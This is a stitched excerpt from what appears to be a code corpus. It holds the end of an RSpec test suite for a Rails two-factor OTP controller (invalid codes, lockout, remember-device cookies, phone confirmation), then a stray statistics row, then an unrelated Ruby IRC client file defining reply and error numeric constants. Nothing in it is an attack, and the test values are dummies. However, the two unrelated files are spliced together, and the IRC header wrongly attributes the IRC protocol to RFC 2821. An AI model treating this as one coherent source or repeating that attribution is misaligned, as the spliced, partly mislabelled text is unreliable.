expect(response).to redirect_to(phone_setup_url)
end
end
describe '#create' do
context 'when the user enters an invalid OTP during authentication context' do
before do
sign_in_before_2fa
expect(subject.current_user.reload.second_factor_attempts_count).to eq 0
properties = {
success: false,
errors: {},
confirmation_for_add_phone: false,
context: 'authentication',
multi_factor_auth_method: 'sms',
phone_configuration_id: subject.current_user.default_phone_configuration.id,
}
stub_analytics
expect(@analytics).to receive(:track_mfa_submit_event).
with(properties)
post :create, params:
{ code: '12345',
otp_delivery_preference: 'sms' }
end
it 'increments second_factor_attempts_count' do
expect(subject.current_user.reload.second_factor_attempts_count).to eq 1
end
it 'redirects to the OTP entry screen' do
expect(response).to render_template(:show)
end
it 'displays flash error message' do
expect(flash[:error]).to eq t('two_factor_authentication.invalid_otp')
end
end
context 'when the user enters an invalid OTP during reauthentication context' do
it 'increments second_factor_attempts_count' do
sign_in_before_2fa
controller.user_session[:context] = 'reauthentication'
post :create, params: { code: '12345', otp_delivery_preference: 'sms' }
expect(subject.current_user.reload.second_factor_attempts_count).to eq 1
end
end
context 'when the user has reached the max number of OTP attempts' do
it 'tracks the event' do
allow_any_instance_of(User).to receive(:max_login_attempts?).and_return(true)
sign_in_before_2fa
properties = {
success: false,
errors: {},
confirmation_for_add_phone: false,
context: 'authentication',
multi_factor_auth_method: 'sms',
phone_configuration_id: subject.current_user.default_phone_configuration.id,
}
stub_analytics
expect(@analytics).to receive(:track_mfa_submit_event).
with(properties)
expect(@analytics).to receive(:track_event).with(Analytics::MULTI_FACTOR_AUTH_MAX_ATTEMPTS)
expect(PushNotification::HttpPush).to receive(:deliver).
with(PushNotification::MfaLimitAccountLockedEvent.new(user: subject.current_user))
post :create, params:
{ code: '12345',
otp_delivery_preference: 'sms' }
end
end
context 'when the user enters a valid OTP' do
before do
sign_in_before_2fa
expect(subject.current_user).to receive(:authenticate_direct_otp).and_return(true)
expect(subject.current_user.reload.second_factor_attempts_count).to eq 0
end
it 'redirects to the profile' do
post :create, params: {
code: subject.current_user.reload.direct_otp,
otp_delivery_preference: 'sms',
}
expect(response).to redirect_to account_path
end
it 'resets the second_factor_attempts_count' do
subject.current_user.update(second_factor_attempts_count: 1)
post :create, params: {
code: subject.current_user.reload.direct_otp,
otp_delivery_preference: 'sms',
}
expect(subject.current_user.reload.second_factor_attempts_count).to eq 0
end
it 'tracks the valid authentication event' do
properties = {
success: true,
errors: {},
confirmation_for_add_phone: false,
context: 'authentication',
multi_factor_auth_method: 'sms',
phone_configuration_id: subject.current_user.default_phone_configuration.id,
}
stub_analytics
expect(@analytics).to receive(:track_mfa_submit_event).
with(properties)
expect(@analytics).to receive(:track_event).
with(Analytics::USER_MARKED_AUTHED, authentication_type: :valid_2fa)
post :create, params: {
code: subject.current_user.reload.direct_otp,
otp_delivery_preference: 'sms',
}
end
context 'with remember_device in the params' do
it 'saves an encrypted cookie' do
remember_device_cookie = instance_double(RememberDeviceCookie)
allow(remember_device_cookie).to receive(:to_json).and_return('asdf1234')
allow(RememberDeviceCookie).to receive(:new).and_return(remember_device_cookie)
post(
:create,
params: {
code: subject.current_user.direct_otp,
otp_delivery_preference: 'sms',
remember_device: '1',
},
)
expect(cookies.encrypted[:remember_device]).to eq('asdf1234')
end
end
context 'without remember_device in the params' do
it 'does not save an encrypted cookie' do
post(
:create,
params: {
code: subject.current_user.direct_otp,
otp_delivery_preference: 'sms',
},
)
expect(cookies[:remember_device]).to be_nil
end
end
end
context 'when the user lockout period expires' do
before do
sign_in_before_2fa
lockout_period = IdentityConfig.store.lockout_period_in_minutes.minutes
subject.current_user.update(
second_factor_locked_at: Time.zone.now - lockout_period - 1.second,
second_factor_attempts_count: 3,
)
end
describe 'when user submits an invalid OTP' do
before do
post :create, params: { code: '12345', otp_delivery_preference: 'sms' }
end
it 'resets attempts count' do
expect(subject.current_user.reload.second_factor_attempts_count).to eq 1
end
it 'resets second_factor_locked_at' do
expect(subject.current_user.reload.second_factor_locked_at).to eq nil
end
end
describe 'when user submits a valid OTP' do
before do
post :create, params: {
code: subject.current_user.direct_otp,
otp_delivery_preference: 'sms',
}
end
it 'resets attempts count' do
expect(subject.current_user.reload.second_factor_attempts_count).to eq 0
end
it 'resets second_factor_locked_at' do
expect(subject.current_user.reload.second_factor_locked_at).to eq nil
end
end
end
context 'phone confirmation' do
before do
sign_in_as_user
subject.user_session[:unconfirmed_phone] = '+1 (703) 555-5555'
subject.user_session[:context] = 'confirmation'
@previous_phone_confirmed_at =
MfaContext.new(subject.current_user).phone_configurations.first&.confirmed_at
subject.current_user.create_direct_otp
stub_analytics
allow(@analytics).to receive(:track_event)
allow(subject).to receive(:create_user_event)
@mailer = instance_double(ActionMailer::MessageDelivery, deliver_now_or_later: true)
subject.current_user.email_addresses.each do |email_address|
allow(UserMailer).to receive(:phone_added).
with(subject.current_user, email_address, disavowal_token: instance_of(String)).
and_return(@mailer)
end
@previous_phone = MfaContext.new(subject.current_user).phone_configurations.first&.phone
end
context 'user has an existing phone number' do
context 'user enters a valid code' do
before do
phone_id = MfaContext.new(subject.current_user).phone_configurations.last.id
properties = {
success: true,
errors: {},
confirmation_for_add_phone: true,
context: 'confirmation',
multi_factor_auth_method: 'sms',
phone_configuration_id: phone_id,
}
expect(@analytics).to receive(:track_event).
with(Analytics::MULTI_FACTOR_AUTH_SETUP, properties)
controller.user_session[:phone_id] = phone_id
post(
:create,
params: {
code: subject.current_user.direct_otp,
otp_delivery_preference: 'sms',
},
)
end
it 'resets otp session data' do
expect(subject.user_session[:unconfirmed_phone]).to be_nil
expect(subject.user_session[:context]).to eq 'authentication'
end
it 'tracks the update event and notifies via email about number change' do
expect(subject).to have_received(:create_user_event).with(:phone_changed)
expect(subject).to have_received(:create_user_event).exactly(:once)
subject.current_user.email_addresses.each do |email_address|
expect(UserMailer).to have_received(:phone_added).
with(subject.current_user, email_address, disavowal_token: instance_of(String))
end
expect(@mailer).to have_received(:deliver_now_or_later)
end
end
context 'user enters an invalid code' do
before { post :create, params: { code: '999', otp_delivery_preference: 'sms' } }
it 'increments second_factor_attempts_count' do
expect(subject.current_user.reload.second_factor_attempts_count).to eq 1
end
it 'does not clear session data' do
expect(subject.user_session[:unconfirmed_phone]).to eq('+1 (703) 555-5555')
end
it 'does not update user phone or phone_confirmed_at attributes' do
first_configuration = MfaContext.new(subject.current_user).phone_configurations.first
expect(first_configuration.phone).to eq('+1 202-555-1212')
expect(first_configuration.confirmed_at).to eq(@previous_phone_confirmed_at)
end
it 'renders :show' do
expect(response).to render_template(:show)
end
it 'displays error flash notice' do
expect(flash[:error]).to eq t('two_factor_authentication.invalid_otp')
end
it 'tracks an event' do
properties = {
success: false,
errors: {},
confirmation_for_add_phone: true,
context: 'confirmation',
multi_factor_auth_method: 'sms',
phone_configuration_id: subject.current_user.default_phone_configuration.id,
}
expect(@analytics).to have_received(:track_event).
with(Analytics::MULTI_FACTOR_AUTH_SETUP, properties)
end
end
context 'user does not include a code parameter' do
it 'fails and increments attempts count' do
post :create, params: { otp_delivery_preference: 'sms' }
expect(subject.current_user.reload.second_factor_attempts_count).to eq 1
end
end
end
context 'when user does not have an existing phone number' do
before do
MfaContext.new(subject.current_user).phone_configurations.clear
subject.current_user.create_direct_otp
end
context 'when given valid code' do
before do
post(
:create,
params: {
code: subject.current_user.direct_otp,
otp_delivery_preference: 'sms',
},
)
end
it 'redirects to profile page' do
expect(response).to redirect_to(account_path)
end
it 'tracks the confirmation event' do
properties = {
success: true,
errors: {},
context: 'confirmation',
multi_factor_auth_method: 'sms',
confirmation_for_add_phone: false,
phone_configuration_id: nil,
}
expect(@analytics).to have_received(:track_event).
with(Analytics::MULTI_FACTOR_AUTH_SETUP, properties)
expect(subject).to have_received(:create_user_event).with(:phone_confirmed)
expect(subject).to have_received(:create_user_event).exactly(:once)
end
it 'resets context to authentication' do
expect(subject.user_session[:context]).to eq 'authentication'
end
end
end
context 'with remember_device in the params' do
it 'saves an encrypted cookie' do
remember_device_cookie = instance_double(RememberDeviceCookie)
allow(remember_device_cookie).to receive(:to_json).and_return('asdf1234')
allow(RememberDeviceCookie).to receive(:new).and_return(remember_device_cookie)
post(
:create,
params: {
code: subject.current_user.direct_otp,
otp_delivery_preference: 'sms',
remember_device: '1',
},
)
expect(cookies.encrypted[:remember_device]).to eq('asdf1234')
end
end
context 'without remember_device in the params' do
it 'does not save an encrypted cookie' do
post(
:create,
params: {
code: subject.current_user.direct_otp,
otp_delivery_preference: 'sms',
},
)
expect(cookies[:remember_device]).to be_nil
end
end
end
end
end
| 34.364224 | 99 | 0.63048 |
0839d1d52593db514d4458a92c19b57c4c6c7b1a | 51,052 | #-- vim:sw=2:et
#++
#
# :title: RFC 2821 Client Protocol module
#
# This module defines the Irc::Client class, a class that can handle and
# dispatch messages based on RFC 2821 (Internet Relay Chat: Client Protocol)
class ServerMessageParseError < ServerError
end
module Irc
# - The server sends Replies 001 to 004 to a user upon
# successful registration.
# "Welcome to the Internet Relay Network
# <nick>!<user>@<host>"
#
RPL_WELCOME=001
# "Your host is <servername>, running version <ver>"
RPL_YOURHOST=002
# "This server was created <date>"
RPL_CREATED=003
# "<servername> <version> <available user modes> <available channel modes>"
RPL_MYINFO=004
# "005 nick PREFIX=(ov)@+ CHANTYPES=#& :are supported by this server"
#
# defines the capabilities supported by the server.
#
# Previous RFCs defined message 005 as follows:
#
# - Sent by the server to a user to suggest an alternative
# server. This is often used when the connection is
# refused because the server is already full.
#
# # "Try server <server name>, port <port number>"
#
# RPL_BOUNCE=005
#
RPL_ISUPPORT=005
# ":*1<reply> *( " " <reply> )"
#
# - Reply format used by USERHOST to list replies to
# the query list. The reply string is composed as
# follows:
#
# reply = nickname [ "*" ] "=" ( "+" / "-" ) hostname
#
# The '*' indicates whether the client has registered
# as an Operator. The '-' or '+' characters represent
# whether the client has set an AWAY message or not
# respectively.
#
RPL_USERHOST=302
# ":*1<nick> *( " " <nick> )"
#
# - Reply format used by ISON to list replies to the
# query list.
#
RPL_ISON=303
# - These replies are used with the AWAY command (if
# allowed). RPL_AWAY is sent to any client sending a
# PRIVMSG to a client which is away. RPL_AWAY is only
# sent by the server to which the client is connected.
# Replies RPL_UNAWAY and RPL_NOWAWAY are sent when the
# client removes and sets an AWAY message.
# "<nick> :<away message>"
RPL_AWAY=301
# ":You are no longer marked as being away"
RPL_UNAWAY=305
# ":You have been marked as being away"
RPL_NOWAWAY=306
# - Replies 311 - 313, 317 - 319 are all replies
# generated in response to a WHOIS message. Given that
# there are enough parameters present, the answering
# server MUST either formulate a reply out of the above
# numerics (if the query nick is found) or return an
# error reply. The '*' in RPL_WHOISUSER is there as
# the literal character and not as a wild card. For
# each reply set, only RPL_WHOISCHANNELS may appear
# more than once (for long lists of channel names).
# The '@' and '+' characters next to the channel name
# indicate whether a client is a channel operator or
# has been granted permission to speak on a moderated
# channel. The RPL_ENDOFWHOIS reply is used to mark
# the end of processing a WHOIS message.
# "<nick> <user> <host> * :<real name>"
RPL_WHOISUSER=311
# "<nick> <server> :<server info>"
RPL_WHOISSERVER=312
# "<nick> :is an IRC operator"
RPL_WHOISOPERATOR=313
# "<nick> <integer> :seconds idle"
RPL_WHOISIDLE=317
# "<nick> :End of WHOIS list"
RPL_ENDOFWHOIS=318
# "<nick> :*( ( "@" / "+" ) <channel> " " )"
RPL_WHOISCHANNELS=319
# - When replying to a WHOWAS message, a server MUST use
# the replies RPL_WHOWASUSER, RPL_WHOISSERVER or
# ERR_WASNOSUCHNICK for each nickname in the presented
# list. At the end of all reply batches, there MUST
# be RPL_ENDOFWHOWAS (even if there was only one reply
# and it was an error).
# "<nick> <user> <host> * :<real name>"
RPL_WHOWASUSER=314
# "<nick> :End of WHOWAS"
RPL_ENDOFWHOWAS=369
# - Replies RPL_LIST, RPL_LISTEND mark the actual replies
# with data and end of the server's response to a LIST
# command. If there are no channels available to return,
# only the end reply MUST be sent.
# Obsolete. Not used.
RPL_LISTSTART=321
# "<channel> <# visible> :<topic>"
RPL_LIST=322
# ":End of LIST"
RPL_LISTEND=323
# "<channel> <nickname>"
RPL_UNIQOPIS=325
# "<channel> <mode> <mode params>"
RPL_CHANNELMODEIS=324
# "<channel> <unixtime>"
RPL_CREATIONTIME=329
# "<channel> <url>"
RPL_CHANNEL_URL=328
# "<channel> :No topic is set"
RPL_NOTOPIC=331
# - When sending a TOPIC message to determine the
# channel topic, one of two replies is sent. If
# the topic is set, RPL_TOPIC is sent back else
# RPL_NOTOPIC.
# "<channel> :<topic>"
RPL_TOPIC=332
# <channel> <set by> <unixtime>
RPL_TOPIC_INFO=333
# "<channel> <nick>"
#
# - Returned by the server to indicate that the
# attempted INVITE message was successful and is
# being passed onto the end client.
#
RPL_INVITING=341
# "<user> :Summoning user to IRC"
#
# - Returned by a server answering a SUMMON message to
# indicate that it is summoning that user.
#
RPL_SUMMONING=342
# "<channel> <invitemask>"
RPL_INVITELIST=346
# "<channel> :End of channel invite list"
#
# - When listing the 'invitations masks' for a given channel,
# a server is required to send the list back using the
# RPL_INVITELIST and RPL_ENDOFINVITELIST messages. A
# separate RPL_INVITELIST is sent for each active mask.
# After the masks have been listed (or if none present) a
# RPL_ENDOFINVITELIST MUST be sent.
#
RPL_ENDOFINVITELIST=347
# "<channel> <exceptionmask>"
RPL_EXCEPTLIST=348
# "<channel> :End of channel exception list"
#
# - When listing the 'exception masks' for a given channel,
# a server is required to send the list back using the
# RPL_EXCEPTLIST and RPL_ENDOFEXCEPTLIST messages. A
# separate RPL_EXCEPTLIST is sent for each active mask.
# After the masks have been listed (or if none present)
# a RPL_ENDOFEXCEPTLIST MUST be sent.
#
RPL_ENDOFEXCEPTLIST=349
# "<version>.<debuglevel> <server> :<comments>"
#
# - Reply by the server showing its version details.
#
# The <version> is the version of the software being
# used (including any patchlevel revisions) and the
# <debuglevel> is used to indicate if the server is
# running in "debug mode".
#
# The "comments" field may contain any comments about
# the version or further version details.
#
RPL_VERSION=351
# - The RPL_WHOREPLY and RPL_ENDOFWHO pair are used
# to answer a WHO message. The RPL_WHOREPLY is only
# sent if there is an appropriate match to the WHO
# query. If there is a list of parameters supplied
# with a WHO message, a RPL_ENDOFWHO MUST be sent
# after processing each list item with <name> being
# the item.
# "<channel> <user> <host> <server> <nick>
# ( "H" / "G" > ["*"] [ ( "@" / "+" ) ]
# :<hopcount> <real name>"
#
RPL_WHOREPLY=352
# "<name> :End of WHO list"
RPL_ENDOFWHO=315
# - To reply to a NAMES message, a reply pair consisting
# of RPL_NAMREPLY and RPL_ENDOFNAMES is sent by the
# server back to the client. If there is no channel
# found as in the query, then only RPL_ENDOFNAMES is
# returned. The exception to this is when a NAMES
# message is sent with no parameters and all visible
# channels and contents are sent back in a series of
# RPL_NAMEREPLY messages with a RPL_ENDOFNAMES to mark
# the end.
# "( "=" / "*" / "@" ) <channel>
# :[ "@" / "+" ] <nick> *( " " [ "@" / "+" ] <nick> )
# - "@" is used for secret channels, "*" for private
# channels, and "=" for others (public channels).
#
RPL_NAMREPLY=353
# "<channel> :End of NAMES list"
RPL_ENDOFNAMES=366
# - In replying to the LINKS message, a server MUST send
# replies back using the RPL_LINKS numeric and mark the
# end of the list using an RPL_ENDOFLINKS reply.
# "<mask> <server> :<hopcount> <server info>"
RPL_LINKS=364
# "<mask> :End of LINKS list"
RPL_ENDOFLINKS=365
# - When listing the active 'bans' for a given channel,
# a server is required to send the list back using the
# RPL_BANLIST and RPL_ENDOFBANLIST messages. A separate
# RPL_BANLIST is sent for each active banmask. After the
# banmasks have been listed (or if none present) a
# RPL_ENDOFBANLIST MUST be sent.
# "<channel> <banmask>"
RPL_BANLIST=367
# "<channel> :End of channel ban list"
RPL_ENDOFBANLIST=368
# - A server responding to an INFO message is required to
# send all its 'info' in a series of RPL_INFO messages
# with a RPL_ENDOFINFO reply to indicate the end of the
# replies.
# ":<string>"
RPL_INFO=371
# ":End of INFO list"
RPL_ENDOFINFO=374
# - When responding to the MOTD message and the MOTD file
# is found, the file is displayed line by line, with
# each line no longer than 80 characters, using
# RPL_MOTD format replies. These MUST be surrounded
# by a RPL_MOTDSTART (before the RPL_MOTDs) and an
# RPL_ENDOFMOTD (after).
# ":- <server> Message of the day - "
RPL_MOTDSTART=375
# ":- <text>"
RPL_MOTD=372
# ":End of MOTD command"
RPL_ENDOFMOTD=376
# ":You are now an IRC operator"
#
# - RPL_YOUREOPER is sent back to a client which has
# just successfully issued an OPER message and gained
# operator status.
#
RPL_YOUREOPER=381
# "<config file> :Rehashing"
#
# - If the REHASH option is used and an operator sends
# a REHASH message, an RPL_REHASHING is sent back to
# the operator.
#
RPL_REHASHING=382
# "You are service <servicename>"
#
# - Sent by the server to a service upon successful
# registration.
#
RPL_YOURESERVICE=383
# "<server> :<string showing server's local time>"
#
# - When replying to the TIME message, a server MUST send
# the reply using the RPL_TIME format above. The string
# showing the time need only contain the correct day and
# time there. There is no further requirement for the
# time string.
#
RPL_TIME=391
# - If the USERS message is handled by a server, the
# replies RPL_USERSTART, RPL_USERS, RPL_ENDOFUSERS and
# RPL_NOUSERS are used. RPL_USERSSTART MUST be sent
# first, following by either a sequence of RPL_USERS
# or a single RPL_NOUSER. Following this is
# RPL_ENDOFUSERS.
# ":UserID Terminal Host"
RPL_USERSSTART=392
# ":<username> <ttyline> <hostname>"
RPL_USERS=393
# ":End of users"
RPL_ENDOFUSERS=394
# ":Nobody logged in"
RPL_NOUSERS=395
# - The RPL_TRACE* are all returned by the server in
# response to the TRACE message. How many are
# returned is dependent on the TRACE message and
# whether it was sent by an operator or not. There
# is no predefined order for which occurs first.
# Replies RPL_TRACEUNKNOWN, RPL_TRACECONNECTING and
# RPL_TRACEHANDSHAKE are all used for connections
# which have not been fully established and are either
# unknown, still attempting to connect or in the
# process of completing the 'server handshake'.
# RPL_TRACELINK is sent by any server which handles
# a TRACE message and has to pass it on to another
# server. The list of RPL_TRACELINKs sent in
# response to a TRACE command traversing the IRC
# network should reflect the actual connectivity of
# the servers themselves along that path.
#
# RPL_TRACENEWTYPE is to be used for any connection
# which does not fit in the other categories but is
# being displayed anyway.
# RPL_TRACEEND is sent to indicate the end of the list.
# "Link <version & debug level> <destination>
# <next server> V<protocol version>
# <link uptime in seconds> <backstream sendq>
# <upstream sendq>"
RPL_TRACELINK=200
# "Try. <class> <server>"
RPL_TRACECONNECTING=201
# "H.S. <class> <server>"
RPL_TRACEHANDSHAKE=202
# "???? <class> [<client IP address in dot form>]"
RPL_TRACEUNKNOWN=203
# "Oper <class> <nick>"
RPL_TRACEOPERATOR=204
# "User <class> <nick>"
RPL_TRACEUSER=205
# "Serv <class> <int>S <int>C <server>
# <nick!user|*!*>@<host|server> V<protocol version>"
RPL_TRACESERVER=206
# "Service <class> <name> <type> <active type>"
RPL_TRACESERVICE=207
# "<newtype> 0 <client name>"
RPL_TRACENEWTYPE=208
# "Class <class> <count>"
RPL_TRACECLASS=209
# Unused.
RPL_TRACERECONNECT=210
# "File <logfile> <debug level>"
RPL_TRACELOG=261
# "<server name> <version & debug level> :End of TRACE"
RPL_TRACEEND=262
# ":Current local users: 3 Max: 4"
RPL_LOCALUSERS=265
# ":Current global users: 3 Max: 4"
RPL_GLOBALUSERS=266
# "::Highest connection count: 4 (4 clients) (251 since server was
# (re)started)"
RPL_STATSCONN=250
# "<linkname> <sendq> <sent messages>
# <sent Kbytes> <received messages>
# <received Kbytes> <time open>"
#
# - reports statistics on a connection. <linkname>
# identifies the particular connection, <sendq> is
# the amount of data that is queued and waiting to be
# sent <sent messages> the number of messages sent,
# and <sent Kbytes> the amount of data sent, in
# Kbytes. <received messages> and <received Kbytes>
# are the equivalent of <sent messages> and <sent
# Kbytes> for received data, respectively. <time
# open> indicates how long ago the connection was
# opened, in seconds.
#
RPL_STATSLINKINFO=211
# "<command> <count> <byte count> <remote count>"
#
# - reports statistics on commands usage.
#
RPL_STATSCOMMANDS=212
# "<stats letter> :End of STATS report"
#
RPL_ENDOFSTATS=219
# ":Server Up %d days %d:%02d:%02d"
#
# - reports the server uptime.
#
RPL_STATSUPTIME=242
# "O <hostmask> * <name>"
#
# - reports the allowed hosts from where user may become IRC
# operators.
#
RPL_STATSOLINE=243
# "<user mode string>"
#
# - To answer a query about a client's own mode,
# RPL_UMODEIS is sent back.
#
RPL_UMODEIS=221
# - When listing services in reply to a SERVLIST message,
# a server is required to send the list back using the
# RPL_SERVLIST and RPL_SERVLISTEND messages. A separate
# RPL_SERVLIST is sent for each service. After the
# services have been listed (or if none present) a
# RPL_SERVLISTEND MUST be sent.
# "<name> <server> <mask> <type> <hopcount> <info>"
RPL_SERVLIST=234
# "<mask> <type> :End of service listing"
RPL_SERVLISTEND=235
# - In processing an LUSERS message, the server
# sends a set of replies from RPL_LUSERCLIENT,
# RPL_LUSEROP, RPL_USERUNKNOWN,
# RPL_LUSERCHANNELS and RPL_LUSERME. When
# replying, a server MUST send back
# RPL_LUSERCLIENT and RPL_LUSERME. The other
# replies are only sent back if a non-zero count
# is found for them.
# ":There are <integer> users and <integer>
# services on <integer> servers"
RPL_LUSERCLIENT=251
# "<integer> :operator(s) online"
RPL_LUSEROP=252
# "<integer> :unknown connection(s)"
RPL_LUSERUNKNOWN=253
# "<integer> :channels formed"
RPL_LUSERCHANNELS=254
# ":I have <integer> clients and <integer> servers"
RPL_LUSERME=255
# - When replying to an ADMIN message, a server
# is expected to use replies RPL_ADMINME
# through to RPL_ADMINEMAIL and provide a text
# message with each. For RPL_ADMINLOC1 a
# description of what city, state and country
# the server is in is expected, followed by
# details of the institution (RPL_ADMINLOC2)
# and finally the administrative contact for the
# server (an email address here is REQUIRED)
# in RPL_ADMINEMAIL.
# "<server> :Administrative info"
RPL_ADMINME=256
# ":<admin info>"
RPL_ADMINLOC1=257
# ":<admin info>"
RPL_ADMINLOC2=258
# ":<admin info>"
RPL_ADMINEMAIL=259
# "<command> :Please wait a while and try again."
#
# - When a server drops a command without processing it,
# it MUST use the reply RPL_TRYAGAIN to inform the
# originating client.
RPL_TRYAGAIN=263
# 5.2 Error Replies
#
# Error replies are found in the range from 400 to 599.
# "<nickname> :No such nick/channel"
#
# - Used to indicate the nickname parameter supplied to a
# command is currently unused.
#
ERR_NOSUCHNICK=401
# "<server name> :No such server"
#
# - Used to indicate the server name given currently
# does not exist.
#
ERR_NOSUCHSERVER=402
# "<channel name> :No such channel"
#
# - Used to indicate the given channel name is invalid.
#
ERR_NOSUCHCHANNEL=403
# "<channel name> :Cannot send to channel"
#
# - Sent to a user who is either (a) not on a channel
# which is mode +n or (b) not a chanop (or mode +v) on
# a channel which has mode +m set or where the user is
# banned and is trying to send a PRIVMSG message to
# that channel.
#
ERR_CANNOTSENDTOCHAN=404
# "<channel name> :You have joined too many channels"
#
# - Sent to a user when they have joined the maximum
# number of allowed channels and they try to join
# another channel.
#
ERR_TOOMANYCHANNELS=405
# "<nickname> :There was no such nickname"
#
# - Returned by WHOWAS to indicate there is no history
# information for that nickname.
#
ERR_WASNOSUCHNICK=406
# "<target> :<error code> recipients. <abort message>"
#
# - Returned to a client which is attempting to send a
# PRIVMSG/NOTICE using the user@host destination format
# and for a user@host which has several occurrences.
#
# - Returned to a client which trying to send a
# PRIVMSG/NOTICE to too many recipients.
#
# - Returned to a client which is attempting to JOIN a safe
# channel using the shortname when there are more than one
# such channel.
#
ERR_TOOMANYTARGETS=407
# "<service name> :No such service"
#
# - Returned to a client which is attempting to send a SQUERY
# to a service which does not exist.
#
ERR_NOSUCHSERVICE=408
# ":No origin specified"
#
# - PING or PONG message missing the originator parameter.
#
ERR_NOORIGIN=409
# ":No recipient given (<command>)"
ERR_NORECIPIENT=411
# - 412 - 415 are returned by PRIVMSG to indicate that
# the message wasn't delivered for some reason.
# ERR_NOTOPLEVEL and ERR_WILDTOPLEVEL are errors that
# are returned when an invalid use of
# "PRIVMSG $<server>" or "PRIVMSG #<host>" is attempted.
# ":No text to send"
ERR_NOTEXTTOSEND=412
# "<mask> :No toplevel domain specified"
ERR_NOTOPLEVEL=413
# "<mask> :Wildcard in toplevel domain"
ERR_WILDTOPLEVEL=414
# "<mask> :Bad Server/host mask"
ERR_BADMASK=415
# "<command> :Unknown command"
#
# - Returned to a registered client to indicate that the
# command sent is unknown by the server.
#
ERR_UNKNOWNCOMMAND=421
# ":MOTD File is missing"
#
# - Server's MOTD file could not be opened by the server.
#
ERR_NOMOTD=422
# "<server> :No administrative info available"
#
# - Returned by a server in response to an ADMIN message
# when there is an error in finding the appropriate
# information.
#
ERR_NOADMININFO=423
# ":File error doing <file op> on <file>"
#
# - Generic error message used to report a failed file
# operation during the processing of a message.
#
ERR_FILEERROR=424
# ":No nickname given"
#
# - Returned when a nickname parameter expected for a
# command and isn't found.
#
ERR_NONICKNAMEGIVEN=431
# "<nick> :Erroneous nickname"
#
# - Returned after receiving a NICK message which contains
# characters which do not fall in the defined set. See
# section 2.3.1 for details on valid nicknames.
#
ERR_ERRONEUSNICKNAME=432
# "<nick> :Nickname is already in use"
#
# - Returned when a NICK message is processed that results
# in an attempt to change to a currently existing
# nickname.
#
ERR_NICKNAMEINUSE=433
# "<nick> :Nickname collision KILL from <user>@<host>"
#
# - Returned by a server to a client when it detects a
# nickname collision (registered of a NICK that
# already exists by another server).
#
ERR_NICKCOLLISION=436
# "<nick/channel> :Nick/channel is temporarily unavailable"
#
# - Returned by a server to a user trying to join a channel
# currently blocked by the channel delay mechanism.
#
# - Returned by a server to a user trying to change nickname
# when the desired nickname is blocked by the nick delay
# mechanism.
#
ERR_UNAVAILRESOURCE=437
# "<nick> <channel> :They aren't on that channel"
#
# - Returned by the server to indicate that the target
# user of the command is not on the given channel.
#
ERR_USERNOTINCHANNEL=441
# "<channel> :You're not on that channel"
#
# - Returned by the server whenever a client tries to
# perform a channel affecting command for which the
# client isn't a member.
#
ERR_NOTONCHANNEL=442
# "<user> <channel> :is already on channel"
#
# - Returned when a client tries to invite a user to a
# channel they are already on.
#
ERR_USERONCHANNEL=443
# "<user> :User not logged in"
#
# - Returned by the summon after a SUMMON command for a
# user was unable to be performed since they were not
# logged in.
#
ERR_NOLOGIN=444
# ":SUMMON has been disabled"
#
# - Returned as a response to the SUMMON command. MUST be
# returned by any server which doesn't implement it.
#
ERR_SUMMONDISABLED=445
# ":USERS has been disabled"
#
# - Returned as a response to the USERS command. MUST be
# returned by any server which does not implement it.
#
ERR_USERSDISABLED=446
# ":You have not registered"
#
# - Returned by the server to indicate that the client
# MUST be registered before the server will allow it
# to be parsed in detail.
#
ERR_NOTREGISTERED=451
# "<command> :Not enough parameters"
#
# - Returned by the server by numerous commands to
# indicate to the client that it didn't supply enough
# parameters.
#
ERR_NEEDMOREPARAMS=461
# ":Unauthorized command (already registered)"
#
# - Returned by the server to any link which tries to
# change part of the registered details (such as
# password or user details from second USER message).
#
ERR_ALREADYREGISTRED=462
# ":Your host isn't among the privileged"
#
# - Returned to a client which attempts to register with
# a server which does not been setup to allow
# connections from the host the attempted connection
# is tried.
#
ERR_NOPERMFORHOST=463
# ":Password incorrect"
#
# - Returned to indicate a failed attempt at registering
# a connection for which a password was required and
# was either not given or incorrect.
#
ERR_PASSWDMISMATCH=464
# ":You are banned from this server"
#
# - Returned after an attempt to connect and register
# yourself with a server which has been setup to
# explicitly deny connections to you.
#
ERR_YOUREBANNEDCREEP=465
# - Sent by a server to a user to inform that access to the
# server will soon be denied.
#
ERR_YOUWILLBEBANNED=466
# "<channel> :Channel key already set"
ERR_KEYSET=467
# "<channel> :Cannot join channel (+l)"
ERR_CHANNELISFULL=471
# "<char> :is unknown mode char to me for <channel>"
ERR_UNKNOWNMODE=472
# "<channel> :Cannot join channel (+i)"
ERR_INVITEONLYCHAN=473
# "<channel> :Cannot join channel (+b)"
ERR_BANNEDFROMCHAN=474
# "<channel> :Cannot join channel (+k)"
ERR_BADCHANNELKEY=475
# "<channel> :Bad Channel Mask"
ERR_BADCHANMASK=476
# "<channel> :Channel doesn't support modes"
ERR_NOCHANMODES=477
# "<channel> <char> :Channel list is full"
#
ERR_BANLISTFULL=478
# ":Permission Denied- You're not an IRC operator"
#
# - Any command requiring operator privileges to operate
# MUST return this error to indicate the attempt was
# unsuccessful.
#
ERR_NOPRIVILEGES=481
# "<channel> :You're not channel operator"
#
# - Any command requiring 'chanop' privileges (such as
# MODE messages) MUST return this error if the client
# making the attempt is not a chanop on the specified
# channel.
#
#
ERR_CHANOPRIVSNEEDED=482
# ":You can't kill a server!"
#
# - Any attempts to use the KILL command on a server
# are to be refused and this error returned directly
# to the client.
#
ERR_CANTKILLSERVER=483
# ":Your connection is restricted!"
#
# - Sent by the server to a user upon connection to indicate
# the restricted nature of the connection (user mode "+r").
#
ERR_RESTRICTED=484
# ":You're not the original channel operator"
#
# - Any MODE requiring "channel creator" privileges MUST
# return this error if the client making the attempt is not
# a chanop on the specified channel.
#
ERR_UNIQOPPRIVSNEEDED=485
# ":No O-lines for your host"
#
# - If a client sends an OPER message and the server has
# not been configured to allow connections from the
# client's host as an operator, this error MUST be
# returned.
#
ERR_NOOPERHOST=491
# ":Unknown MODE flag"
#
# - Returned by the server to indicate that a MODE
# message was sent with a nickname parameter and that
# the a mode flag sent was not recognized.
#
ERR_UMODEUNKNOWNFLAG=501
# ":Cannot change mode for other users"
#
# - Error sent to any user trying to view or change the
# user mode for a user other than themselves.
#
ERR_USERSDONTMATCH=502
# 5.3 Reserved numerics
#
# These numerics are not described above since they fall into one of
# the following categories:
#
# 1. no longer in use;
#
# 2. reserved for future planned use;
#
# 3. in current use but are part of a non-generic 'feature' of
# the current IRC server.
#
RPL_SERVICEINFO=231
RPL_ENDOFSERVICES=232
RPL_SERVICE=233
RPL_NONE=300
RPL_WHOISCHANOP=316
RPL_KILLDONE=361
RPL_CLOSING=362
